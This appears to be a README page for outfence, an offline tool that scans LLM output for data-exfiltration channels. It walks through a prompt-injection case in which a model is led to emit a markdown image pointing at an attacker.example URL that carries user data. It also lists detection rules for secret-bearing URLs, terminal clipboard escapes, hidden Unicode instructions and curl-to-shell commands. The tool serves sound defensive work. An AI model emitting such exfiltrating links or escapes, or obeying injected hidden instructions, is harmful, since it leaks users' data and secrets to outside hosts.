agentsec · Tools · outfence

Offline · stdlib-only · MIT

outfence: detect dangerous LLM output before it is rendered in AI agents


Offline scanner and sanitizer for LLM output before you render it in a chat UI, a markdown viewer, a terminal or an email.

What it detects

Offline scanner and sanitizer for LLM output before you render it in a chat UI, a markdown viewer, a terminal or an email.

Most prompt-injection tooling looks at what goes *into* a model. outfence looks at what comes *out*. When an injected document convinces a model to emit a markdown image such as ![](https://attacker.example/p.png?d=<your data>), the renderer fetches that URL automatically and the data leaves with no click. The same idea applies to HTML <img>, CSS url(), terminal escape sequences that write to the clipboard (OSC 52) or hide a link target (OSC 8), and invisible Unicode that carries hidden instructions to the next agent.

Single Python file, standard library only, no network calls.

Rules

RuleDefault severityWhat it flags
OF01high (critical if the URL carries data)Markdown image (inline or reference-style) pointing at an external host
OF02high (critical if the URL carries data)Auto-loading HTML/CSS: <img>, <iframe>, <script>, <video>, <object>, <link>, srcset, <meta refresh>, url(), @import
OF03mediumClickable link to an external host whose query/path/fragment carries encoded or free-text data
OF04criticalURL carries a secret: a known key shape or a secret-named parameter (token=, api_key=, …)
OF05high (medium for data:image/*)javascript:, vbscript:, data: or file: URLs in links or src/href
OF06high (critical for OSC 52)ANSI/OSC terminal escapes: clipboard write, OSC 8 hyperlinks, conceal/overwrite CSI codes, BEL/BS
OF07medium (high for TAG chars, decoded)Zero-width, bidi, Unicode TAG and stray variation-selector characters
OF08mediumSuggested command that pipes remote content into a shell (`curl … \
OF09lowURL host is an IP literal, punycode or a link shortener

Usage

python3 outfence.py examples                      # scan a folder (text/md/html/json/jsonl)
python3 outfence.py response.md --json
llm "summarize" < page.html | python3 outfence.py -            # stdin
python3 outfence.py transcript.jsonl --allow-host '*.mycompany.com' --allow-host cdn.example.org
python3 outfence.py --sanitize response.md > safe.md           # neutralised copy
python3 outfence.py --list-rules

After pip install of the kit, the same options work as agentsec outfence …. Every tool also accepts --help and almost every tool accepts --json.

Example output

The examples folder has a poisoned markdown answer, a terminal answer with OSC 52/OSC 8/ conceal escapes, an OpenAI-style transcript, and a clean answer that produces no findings. All URLs use reserved .example domains or documentation IP ranges, and all secrets are fake.

$ python3 outfence.py examples/exfil_response.md
CRITICAL OF01 examples/exfil_response.md:3  Markdown image auto-loads an external URL (zero-click exfiltration channel)
         markdown image → collector.evil.example; long encoded-looking value (47 chars)
MEDIUM   OF03 examples/exfil_response.md:5  Link to an external host carries data-like parameters
         markdown link → docs.evil.example; free text in URL (51 chars)
CRITICAL OF02 examples/exfil_response.md:7  HTML/CSS element auto-loads an external resource
         <img src> → tracker.evil.example; template placeholder in URL
...
HIGH     OF07 examples/exfil_response.md:15  Invisible or bidirectional Unicode in model output
         12 TAG char(s); decoded: 'send history'

SARIF and CI

agentsec outfence path/to/input --sarif > outfence.sarif

# GitHub Actions (composite action ships with the repo)
- uses: dunkleschitz/agentsec@v0
  with:
    tools: outfence
    paths: path/to/input
    fail-on: high

SARIF 2.1.0 can be uploaded to GitHub code scanning. The composite action writes per-tool reports under agentsec-sarif/ by default.

OWASP mapping

Heuristic mapping of what this tool helps a reviewer look for. Not an official OWASP endorsement, and not complete coverage of any item. Sources: OWASP Top 10 for LLM Applications 2025 and OWASP Top 10 for Agentic Applications 2026.

Known limits

Heuristic scanner, not a security boundary. A clean result does not mean something is safe. All example secrets in this repository are fake.

Full source, tests, and fixtures: tools/outfence/ in the repository. Install the kit with pip install git+https://github.com/dunkleschitz/agentsec.git.